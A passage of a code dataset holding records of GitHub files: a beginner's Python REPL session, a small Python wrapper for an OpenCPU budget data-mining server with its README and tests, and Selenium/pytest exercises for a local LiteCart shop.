2, 3, 4, 'Rock', 'is', 'very', 'handsome', 1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome', 1, 2, 3, 4, 'Rock', 'is', 'very', 'handsome']\n>>> games = ['soccer', 'basketball', 'batminton']\n>>> foods = ['noodle', 'fried rice', 'dumplings']\n>>> favoraites = games + foods\n>>> print(favoraites)\n['soccer', 'basketball', 'batminton', 'noodle', 'fried rice', 'dumplings']\n>>> 3 * 25 + 2 * 40\n155\n>>> first_name = 'Rock'\n>>> last_name = 'Wu'\n>>> name = first_name + last_name\n>>> words = 'Hi there, %s'\n>>> print(words % name)\nHi there, RockWu\n>>> last_name = ' Wu'\n>>> print(words % name)\nHi there, RockWu\n>>> name = first_name + last_name\n>>> print(words % name)\nHi there, Rock Wu\n>>> last_name = ' Wu.'\n>>> last_name = 'Wu'\n>>> name = first_name + ' ' + last_name\n>>> name = first_name + last_name\n>>> print(words % name)\nHi there, RockWu\n>>> name = first_name + last_name\n>>> name = first_name + ' ' + last_name\n>>> words = 'Hi there, %s.'\n>>> name = first_name + ' ' + last_name\n>>> print(words % name)\nHi there, Rock Wu.\n>>> last_name[0]\n'W'\n>>> last_name[1]\n'u'\n>>> last_name[2]\nTraceback (most recent call last):\n File \"<pyshell#71>\", line 1, in <module>\n last_name[2]\nIndexError: string index out of range\n>>> Rock = (2007, 10, 20)\n>>> Bd = [2007, 10, 20]\n>>> Bd.append(,10)\nSyntaxError: invalid syntax\n>>> Bd.append(10)\n>>> print(Bd)\n[2007, 10, 20, 10]\n>>> Bdset = {2007, 10, 20}\n>>> print(Bdset)\n{10, 20, 2007}\n>>> print(Bdset)\n{10, 20, 2007}\n>>> Bdset[1]\nTraceback (most recent call last):\n File \"<pyshell#80>\", line 1, in <module>\n Bdset[1]\nTypeError: 'set' object is not subscriptable\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20}\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20}\n>>> print('year')\nyear\n>>> print(Bd ['year'])\n2007\n>>> Bd['hours']\nTraceback (most recent call last):\n File \"<pyshell#85>\", line 1, in <module>\n Bd['hours']\nKeyError: 'hours'\n>>> Bd['hours'] = 10\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20, 'hours': 10}\n>>> del Bd['hours]\n \nSyntaxError: EOL while scanning string literal\n>>> del Bd['hours']\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20}\n>>> Bd['day'] = 10\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 10}\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20, 'day' : 20}\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20}\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20, 'day' : 10}\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 10}\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20, 101012 : 10}\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20, 101012: 10}\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20, name : 10}\n>>> print(Bd)\n{'year': 2007, 'mounth': 10, 'day': 20, 'Rock Wu': 10}\n>>> Bd = {'year' : 2007, 'mounth' : 10, 'day' : 20, : 10}\nSyntaxError: invalid syntax\n>>> " } ]
2
openbudgets/okfgr_dm
https://github.com/openbudgets/okfgr_dm
374fb26243f20f7dac3724ae9a5901e162b3f9be
49f76e3f6f9a4e1df5e9e4675948ff9671a0384c
ea4860e75cefc5dd8dd3b88fb1b02bc5bf19035d
refs/heads/master
2020-06-14T13:06:58.669589
2017-09-15T09:45:34
2017-09-15T09:45:34
75,177,549
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8235294222831726, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 34, "blob_id": "6e27ca77e7bdd36ba62bac237f62bb157f43912e", "content_id": "a337f891f4648e5781743e2ce0f04a3a013fe903", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 34, "license_type": "no_license", "max_line_length": 34, "num_lines": 1, "path": "/okfgr_dm/__init__.py", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "from .okfgr_server import dm_okfgr" }, { "alpha_fraction": 0.6038338541984558, "alphanum_fraction": 0.610223650932312, "avg_line_length": 27.545454025268555, "blob_id": "b58496f44f2856fa8671bf7e54b7cd58f90d3ccd", "content_id": "06e860028599ffd6bbe142f820455718b4ef9c4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 313, "license_type": "no_license", "max_line_length": 69, "num_lines": 11, "path": "/setup.py", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nsetup(name='okfgr_dm',\n version='0.1',\n description='Remote access to the data-mining server of OKFGR',\n url='http://github.com/obeu/okfgr_dm',\n author='Tiansi Dong',\n author_email='[email protected]',\n license='MIT',\n packages=['okfgr_dm'],\n zip_safe=False)" }, { "alpha_fraction": 0.5319148898124695, "alphanum_fraction": 0.5319148898124695, "avg_line_length": 13.954545021057129, "blob_id": "255c685e8c02af393e017ac4697e3fb5659646d5", "content_id": "030a78aa21dec484d6d90bebb2cc85d219792fde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 329, "license_type": "no_license", "max_line_length": 37, "num_lines": 22, "path": "/docs/rst/okfgr_dm.rst", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "okfgr_dm package\n================\n\nSubmodules\n----------\n\nokfgr_dm.okfgr_server module\n----------------------------\n\n.. automodule:: okfgr_dm.okfgr_server\n :members:\n :undoc-members:\n :show-inheritance:\n\n\nModule contents\n---------------\n\n.. automodule:: okfgr_dm\n :members:\n :undoc-members:\n :show-inheritance:\n" }, { "alpha_fraction": 0.6306818127632141, "alphanum_fraction": 0.6344696879386902, "avg_line_length": 24.190475463867188, "blob_id": "d1ff6301db8298f2c5c59c41cd85cedde752c9de", "content_id": "ade9c34c50889cdb62bf86ce4e3410a9b42ca028", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 528, "license_type": "no_license", "max_line_length": 113, "num_lines": 21, "path": "/tests/test_okfgr_server.py", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom .context import okfgr_dm\n\nimport json\nimport unittest\n\n\nclass SendDMRequestToOKFGRServer(unittest.TestCase):\n \"\"\"Basic test cases.\"\"\"\n\n def test_send_csv_to_uep_server(self):\n jsonStr = okfgr_dm.dm_okfgr(\"/ocpu/library/OBeU/R/ts.obeu\", tsdata=\"Athens_draft_ts\", prediction_steps=4)\n dic = json.loads(jsonStr)\n assert \"data_year\" in dic.keys()\n assert \"data\" in dic.keys()\n assert \"predict_time\" in dic.keys()\n\n\nif __name__ == '__main__':\n unittest.main()" }, { "alpha_fraction": 0.3890109956264496, "alphanum_fraction": 0.6664835214614868, "avg_line_length": 43.39024353027344, "blob_id": "68cde2909a1ef814fb7d05310cb394c7aee85dfd", "content_id": "447a4d2c9348820a81d6838603fb8cb9b30d2c4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1820, "license_type": "no_license", "max_line_length": 606, "num_lines": 41, "path": "/README.md", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "# OKFGR_DM\nA Python wrapper to access OKFGR data-mining server\n\n# Quick start\n```\n$ git clone https://github.com/openbudgets/okfgr_dm.git\n$ cd okfgr_dm\nokfgr_dm $ make init\nokfgr_dm $ pip3 install .\n```\n\n# Run test\n```\nokfgr_dm $ make test\n```\n\n# Generate documentation\n```\nokfgr_dm $ ./make_docu\n```\nDocumentation is located at docs/html/\n\n# Access OKFGR data-mining endpoint within iPython\n\n```\n$ iPython\n\nIn [1]: import okfgr_dm\nIn [2]: okfgr_dm.dm_okfgr(\"/ocpu/library/OBeU/R/ts.obeu\", tsdata=\"Athens_draft_ts\", prediction_steps=4)\n```\nYou shall see data-mining results from OKFGR server as follows:\n```\n['curl', '-d', 'prediction_steps=4', '-d', 'tsdata=Athens_draft_ts', 'http://okfnrg.math.auth.gr/ocpu/library/OBeU/R/ts.obeu']\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 256 0 215 100 41 150 28 0:00:01 0:00:01 --:--:-- 159\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 608 0 608 0 0 754 0 --:--:-- --:--:-- --:--:-- 755\n{\"data_year\":[2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015],\"data\":[720895000,628937000,618550000,724830000,858942000,919508000,977488000,931607000,866517393,667108000,773422555,759559284],\"predict_time\":[2016,2017,2018,2019],\"predict_values\":[913974326.4927,913820467.8176,959478495.1833,868153360.9067],\"up80\":[1014507280.1335,1044499357.6016,1122438542.4075,1033064392.7714],\"low80\":[813441372.8519,783141578.0335,796518447.9592,703242329.0419],\"up95\":[1067726211.0778,1113676583.1722,1208704380.4816,1120363019.7283],\"low95\":[760222441.9076,713964352.4629,710252609.8851,615943702.0851]}\n```\n" }, { "alpha_fraction": 0.5996816754341125, "alphanum_fraction": 0.6159968376159668, "avg_line_length": 42.25862121582031, "blob_id": "38694174e4c3d09c525e304d90cfc9a872beabc8", "content_id": "b452725ec095f40e2379c2cea978b155fb220ac5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2513, "license_type": "no_license", "max_line_length": 143, "num_lines": 58, "path": "/okfgr_dm/okfgr_server.py", "repo_name": "openbudgets/okfgr_dm", "src_encoding": "UTF-8", "text": "import http.client\nimport subprocess\n\ndef dm_okfgr(endpoint, OKFGR_SERVER=\"http://localhost:8666/\", **kwargs):\n \"\"\"\n :param endpoint: data-mining service endpoint\n :param kwargs: parameters for a data-mining function\n :return: the string-format of a json structure\n \"\"\"\n conn = http.client.HTTPConnection(OKFGR_SERVER)\n\n if('dimession' in kwargs):\n json_data = kwargs['json_data']\n amount = kwargs['amount']\n time = kwargs['time']\n prediction_steps = kwargs['prediction_steps']\n\n payload = \"------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"json_data\\\"\\r\\n\\r\\n'\"+\\\n json_data+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"time\\\"\\r\\n\\r\\n'\"+\\\n time+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"amount\\\"\\r\\n\\r\\n'\"+\\\n amount+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"prediction_steps\\\"\\r\\n\\r\\n\"+ \\\n str(prediction_steps)+\"\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\"\n\n\n\n else:\n json_data = kwargs['json_data']\n dimension= kwargs['dimensions']\n amount = kwargs['amount']\n #coef.outl_value\": coef_outl']\n #coef.outl_sample = 1.5\n #box.outliers_value = kwargs['box_outliers']\n #box.wdth_value = kwargs['box_wdth']\n #cor.method_value = kwargs['cor_method']\n\n payload = \"------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"json_data\\\"\\r\\n\\r\\n'\"+ \\\n json_data+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"dimensions\\\"\\r\\n\\r\\n'\"+ \\\n dimension+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW\\r\\nContent-Disposition: form-data; name=\\\"amount\\\"\\r\\n\\r\\n'\"+ \\\n amount+\"'\\r\\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\"\n #print(payload)\n headers = {\n 'content-type': \"multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\",\n 'cache-control': \"no-cache\",\n }\n\n\n headers = {\n 'content-type': \"multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\",\n 'cache-control': \"no-cache\",\n }\n\n conn.request(\"POST\", endpoint+\"/print\", payload, headers)\n res = conn.getresponse()\n data = res.read()\n\n print(data.decode(\"utf-8\"))\n\n return data.decode(\"utf-8\")\n\n\n\n\n" } ]
6
Telelichko/SoftwareTesting_Selenium
https://github.com/Telelichko/SoftwareTesting_Selenium
5435e82160eeb20a84f044c0768b2211fb7c7337
c010d959288d3cd7ce99bacc1679f172c63170ff
7bc345a8e4359dab534d591654c2194cc881f1a5
refs/heads/master
2023-06-24T21:03:57.142027
2021-07-30T12:29:11
2021-07-30T12:29:11
379,277,350
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6878761649131775, "alphanum_fraction": 0.6938951015472412, "avg_line_length": 25.454545974731445, "blob_id": "0a951ea965bbc44020c9da620fe168ac162cb1d7", "content_id": "788fe0423e6d22f0f2679f6387f75e63dfe17036", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1180, "license_type": "no_license", "max_line_length": 96, "num_lines": 44, "path": "/lesson9_16.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom enum import Enum\nfrom selenium.webdriver.support import expected_conditions as ES\n\nclass Browser(Enum):\n REMOTE_CHROME = 1\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.REMOTE_CHROME, request)\n\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_check_course_page(driver):\n course_name = 'Selenium WebDriver: полное руководство'\n\n driver.get('https://software-testing.ru/edu/schedule/242')\n\n course_page_title = driver.find_element_by_xpath(f\"//h2[contains(text(), '{course_name}')]\")\n\n ES.visibility_of(course_page_title)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef select_browser(browser, request):\n part_name = 'Here will be part of you User Name.'\n key = 'Here will be your Access Key'\n if browser == Browser.REMOTE_CHROME:\n wd = webdriver.Remote(\n command_executor=f'https://{part_name}_{key}@hub-cloud.browserstack.com/wd/hub',\n desired_capabilities={\"browser\":\"chrome\", \"chromeOptions\": { \"w3c\": \"false\" } })\n else:\n return\n\n wd.implicitly_wait(3)\n request.addfinalizer(wd.quit)\n return wd\n\n#endregion" }, { "alpha_fraction": 0.7336244583129883, "alphanum_fraction": 0.7554585337638855, "avg_line_length": 22, "blob_id": "82cc8670468c4911b131df2d32a87e82dea5dd7a", "content_id": "b8be8212dafaeb752fd6a7026abddd69444d7e01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 229, "license_type": "no_license", "max_line_length": 64, "num_lines": 10, "path": "/lesson11_19/confest.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom python_tests.lesson11_19.App.Application import Application\n\n\[email protected]\ndef app(request):\n app = Application()\n app.driver.implicitly_wait(3)\n request.addfinalizer(app.driver.quit)\n return app" }, { "alpha_fraction": 0.6549344658851624, "alphanum_fraction": 0.6625258922576904, "avg_line_length": 26.283018112182617, "blob_id": "1cb108ba49a301ae4df0e3d7bcfea07bb808edf9", "content_id": "0456afd80b5b17f0a5848f6439082bbebc437f11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1449, "license_type": "no_license", "max_line_length": 68, "num_lines": 53, "path": "/lesson3_456.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom enum import Enum\n\nclass Browser(Enum):\n CHROME = 1\n FIREFOX_OLD_SCHEME = 2\n FIREFOX_NEW_SCHEME = 3\n EXPLORER = 4\n ALL = 5\n\n\[email protected]()\ndef driver(request):\n wd = select_browser(Browser.FIREFOX_NEW_SCHEME, request)\n\n return wd\n\ndef test_authorization_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\n\ndef select_browser(browser, request):\n if browser == Browser.CHROME:\n wd = webdriver.Chrome()\n elif browser == Browser.FIREFOX_OLD_SCHEME:\n # Needs (old) Firefox version 45\n wd = webdriver.Firefox(capabilities={\"marionette\": False})\n elif browser == Browser.FIREFOX_NEW_SCHEME:\n # Firefox Nightly\n # wd = webdriver.Firefox()\n wd = webdriver.Firefox(capabilities={\"marionette\": True})\n elif browser == Browser.EXPLORER:\n # Needs a 32 bit driver\n wd = webdriver.Ie(capabilities={\"requireWindowFocus\": True})\n elif browser == Browser.All:\n return\n else:\n return\n\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n\n\n" }, { "alpha_fraction": 0.6884779334068298, "alphanum_fraction": 0.6984353065490723, "avg_line_length": 38.81132125854492, "blob_id": "fa1073b3e99e53be55fed2b33a2fb761dc297c00", "content_id": "5281ae15e91533380aa0b26e9e8ae928cf000a16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2109, "license_type": "no_license", "max_line_length": 132, "num_lines": 53, "path": "/lesson11_19/App/Application.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from selenium import webdriver\nfrom python_tests.lesson11_19.Helpers.DomHelper import DomHelper\nfrom python_tests.lesson11_19.Helpers.WebDriverWaitHelper import WebDriverWaitHelper\nfrom python_tests.lesson11_19.pages.CartPage import CartPage\nfrom python_tests.lesson11_19.pages.EditProductPage import EditProductPage\nfrom python_tests.lesson11_19.pages.MainPage import MainPage\n\n\nclass Application:\n\n def __init__(self):\n self.driver = webdriver.Chrome()\n self.main_page = MainPage(self.driver)\n self.editProductPage = EditProductPage(self.driver)\n self.cartPage = CartPage(self.driver)\n self.domHelper = DomHelper()\n self.webDriverWaitHelper = WebDriverWaitHelper(self.driver)\n\n def quit(self):\n self.driver.quit()\n\n def driver(self):\n return self.driver\n\n def add_product_to_cart(self):\n self.main_page.open()\n self.main_page.get_product_in_list().click()\n self.check_and_select_small_product_size()\n count_products_in_cart = self.editProductPage.get_product_quantity().text\n self.editProductPage.get_button_to_cart().click()\n self.webDriverWaitHelper.wait_until_text_appear(self.domHelper.xpath_product_quantity, f'{int(count_products_in_cart) + 1}')\n\n def open_main_page(self):\n self.main_page.open()\n\n def check_and_select_small_product_size(self):\n is_list_exist = self.editProductPage.is_element_exist(self.domHelper.xpath_lists_product_size)\n if is_list_exist:\n self.editProductPage.get_list_size().click()\n self.editProductPage.get_lists_item_small_size().click()\n\n def delete_products_in_cart(self):\n self.editProductPage.get_link_cart().click()\n\n product_count = self.cartPage.get_product_count()\n\n for i in range(product_count):\n button_remove = self.cartPage.get_button_remove()\n self.webDriverWaitHelper.wait_until_element_appear(button_remove)\n button_remove.click()\n self.webDriverWaitHelper.wait_until_element_disappear(button_remove)\n\n self.open_main_page()" }, { "alpha_fraction": 0.6644591689109802, "alphanum_fraction": 0.6685062646865845, "avg_line_length": 33.417720794677734, "blob_id": "d5f8e6bbe7ccba9fc265e6d299e12df33a809b9a", "content_id": "3339aa472394f619b63f63a32970d1c457e5277b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2718, "license_type": "no_license", "max_line_length": 136, "num_lines": 79, "path": "/lesson7_13.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_add_delete_cart_products(driver):\n\n for i in range(3):\n add_product_to_cart(driver)\n\n delete_products_in_cart(driver)\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef go_to_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\ndef add_product_to_cart(driver):\n go_to_main_page(driver)\n\n element_product = driver.find_element_by_xpath('//li[contains(@class, \"product\")]')\n element_product.click()\n\n check_and_select_small_product_size(driver)\n\n count_products_in_cart = driver.find_element_by_xpath('//a[@class=\"content\" and contains(., \"Cart\")]//span[@class=\"quantity\"]').text\n\n button_to_cart = driver.find_element_by_xpath('//button[text()=\"Add To Cart\"]')\n button_to_cart.click()\n\n WebDriverWait(driver, 10).until(EC.text_to_be_present_in_element(\n (By.XPATH, '//a[@class=\"content\" and contains(., \"Cart\")]//span[@class=\"quantity\"]'), f'{int(count_products_in_cart) + 1}'))\n\ndef delete_products_in_cart(driver):\n link_cart = driver.find_element_by_xpath('//a[contains(text(), \"Checkout\")]')\n link_cart.click()\n\n list_products = driver.find_elements_by_xpath('//ul[@class=\"items\"]//li')\n product_count = len(list_products)\n\n for i in range(product_count):\n button_remove = driver.find_element_by_xpath('//button[text()=\"Remove\"]')\n WebDriverWait(driver, 10).until(EC.visibility_of(button_remove))\n button_remove.click()\n\n WebDriverWait(driver, 10).until(EC.invisibility_of_element(button_remove))\n\n go_to_main_page(driver)\n\ndef check_and_select_small_product_size(driver):\n lists_product_size = driver.find_elements_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"Size\")]//select')\n if(len(lists_product_size) == 1):\n list_size = get_list(driver, 'Size')\n list_size.click()\n\n lists_item_small_size = get_list_item(driver, 'Size', 'Small')\n lists_item_small_size.click()\n\ndef get_list(driver, list_name):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]//select')\n\ndef get_list_item(driver, list_name, item):\n return driver.find_element_by_xpath(f'//div[@class=\"content\"]//tr[contains(., \"{list_name}\")]'\n f'//option[contains(text(), \"{item}\")]')\n\n#endregion" }, { "alpha_fraction": 0.7221396565437317, "alphanum_fraction": 0.7251114249229431, "avg_line_length": 34.47368240356445, "blob_id": "7d656b2df7b982325fb96265764f7c081053304b", "content_id": "59457a11617fbc3b24c40c588c0c0f81238dd348", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 91, "num_lines": 19, "path": "/lesson11_19/Helpers/WebDriverWaitHelper.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass WebDriverWaitHelper:\n\n def __init__(self, driver):\n self.driver = driver\n self.wait = WebDriverWait(driver, 10)\n\n def wait_until_text_appear(self, xpath, expected_text):\n self.wait.until(EC.text_to_be_present_in_element((By.XPATH, xpath), expected_text))\n\n def wait_until_element_appear(self, element):\n self.wait.until(EC.visibility_of(element))\n\n def wait_until_element_disappear(self, element):\n self.wait.until(EC.invisibility_of_element(element))" }, { "alpha_fraction": 0.6932084560394287, "alphanum_fraction": 0.7025761008262634, "avg_line_length": 29.571428298950195, "blob_id": "65b709402bec139810096bba41e353d7fa23d972", "content_id": "203bc2c184ea50f36d3ef8f227ff7b05c1e77f7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 427, "license_type": "no_license", "max_line_length": 90, "num_lines": 14, "path": "/lesson11_19/pages/CartPage.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "from python_tests.lesson11_19.Helpers.DomHelper import DomHelper\n\n\nclass CartPage():\n\n def __init__(self, driver):\n self.driver = driver\n self.domHelper = DomHelper()\n\n def get_button_remove(self):\n return self.driver.find_element_by_xpath(self.domHelper.xpath_button_remove)\n\n def get_product_count(self):\n return len(self.driver.find_elements_by_xpath(self.domHelper.xpath_list_products))" }, { "alpha_fraction": 0.7043478488922119, "alphanum_fraction": 0.7093167901039124, "avg_line_length": 26.79310417175293, "blob_id": "eb8e4231bc352db7d2913cdec198117942b646c5", "content_id": "3674a68b96f82c5e40098ca388fd8e90c2dc40d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 822, "license_type": "no_license", "max_line_length": 96, "num_lines": 29, "path": "/lesson2_1.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support import expected_conditions as ES\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\ndef test1(driver):\n course_name = 'Selenium WebDriver: полное руководство'\n\n driver.get('https://www.google.com/')\n\n input_search = driver.find_element_by_name('q')\n input_search.send_keys(course_name)\n\n input_search.send_keys(Keys.ENTER)\n\n course_link = driver.find_element_by_xpath(f\"//a[contains(., '{course_name}')]\")\n course_link.click()\n\n course_page_title = driver.find_element_by_xpath(f\"//h2[contains(text(), '{course_name}')]\")\n\n ES.visibility_of(course_page_title)" }, { "alpha_fraction": 0.6400890946388245, "alphanum_fraction": 0.6516703963279724, "avg_line_length": 29.73972511291504, "blob_id": "a264e6e294b8f5bd9511cb633475fcecd82cd2fe", "content_id": "7d28b77101504b736b8dc3148775921d75798f3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2321, "license_type": "no_license", "max_line_length": 107, "num_lines": 73, "path": "/lesson2_3.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import random\n\nimport pytest\nfrom selenium import webdriver\n\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\ndef test_authorization_admin_panel(driver):\n main_page_url = 'http://localhost/litecart/admin/'\n driver.get(main_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\n\n# Preconditions: Create new customer with email - [email protected], password - admin\ndef test_authorization_in_main_page(driver):\n main_page_url = 'http://localhost/litecart/'\n driver.get(main_page_url)\n\n input_email = driver.find_element_by_name('email')\n input_email.send_keys('[email protected]')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('admin')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\n# Test failed\ndef test_create_account(driver):\n main_page_url = 'http://localhost/litecart/'\n\n driver.get(main_page_url)\n\n link_registration = driver.find_element_by_link_text('New customers click here')\n link_registration.click()\n\n inputs = driver.find_elements_by_tag_name('input')\n\n for input in inputs:\n parent_input_text = input.find_element_by_xpath('//parent::td[1]').text\n\n if parent_input_text == 'Postcode':\n input_text = '012345'\n elif parent_input_text == 'Email':\n input_text = '[email protected]'\n elif parent_input_text == 'Phone':\n input_text = '799999999'\n elif 'Password' in parent_input_text:\n input_text = 'Password'\n else:\n # TODO: !!! 1 проблема - \"ElementNotInteractableException: Message: element not interactable\" -\n # TODO: Поле ввода под \"Tax ID\" не предназначено для взаимодействий !!!\n input_text = parent_input_text\n\n # TODO: !!! 2 проблема - Как быть с полем для \"CAPTCHA\" ???\n\n\n input_text += str(random.randint(100, 999))\n input.send_keys(input_text)\n\n" }, { "alpha_fraction": 0.6653257012367249, "alphanum_fraction": 0.6687296628952026, "avg_line_length": 34.516483306884766, "blob_id": "6a5bcb4cebdb6e71dae7d3264790ac692a0660aa", "content_id": "86429a3c49120183e655cc7eaa9b79ea3e01a433", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6463, "license_type": "no_license", "max_line_length": 141, "num_lines": 182, "path": "/lesson6_12.py", "repo_name": "Telelichko/SoftwareTesting_Selenium", "src_encoding": "UTF-8", "text": "import os\nimport random\nfrom datetime import date, timedelta\nimport pytest\nfrom selenium import webdriver\n\[email protected]()\ndef driver(request):\n wd = webdriver.Chrome()\n wd.implicitly_wait(10)\n request.addfinalizer(wd.quit)\n return wd\n\n#region TESTS_METHODS_REGION\n\ndef test_create_account(driver):\n test_authorization_admin_panel(driver)\n\n catalog_section = driver.find_element_by_xpath('//div[contains(@id, \"menu-wrapper\")]//span[contains(text(), \"Catalog\")]')\n catalog_section.click()\n\n button_add_product = driver.find_element_by_xpath('//a[contains(., \"Add New Product\")]')\n button_add_product.click()\n\n fill_tab_general(driver)\n\n fill_tab_information(driver)\n\n fill_tab_prices(driver)\n\n button_save = driver.find_element_by_xpath('//td[@id=\"content\"]//button[contains(., \"Save\")]')\n button_save.click()\n\n assert_row_in_table(driver, 'Dudu Duck')\n\n#endregion\n\n#region ACTIONS_METHODS_REGION\n\ndef test_authorization_admin_panel(driver):\n admin_page_url = 'http://localhost/litecart/admin/'\n driver.get(admin_page_url)\n\n input_username = driver.find_element_by_name('username')\n input_username.send_keys('admin')\n\n input_password = driver.find_element_by_name('password')\n input_password.send_keys('nimda')\n\n button_login = driver.find_element_by_name('login')\n button_login.click()\n\ndef fill_tab_general(driver):\n radiobutton_status = driver.find_element_by_xpath('//div[@class=\"content\"]//tr[contains(., \"Status\")]//label[contains(., \"Enabled\")]')\n radiobutton_status.click()\n\n input_name = get_input_by_type(driver, 'Name', 'text')\n input_name.send_keys('Dudu Duck')\n\n input_code = get_input_by_type(driver, 'Code', 'text')\n input_code.send_keys(random.randint(100, 999))\n\n 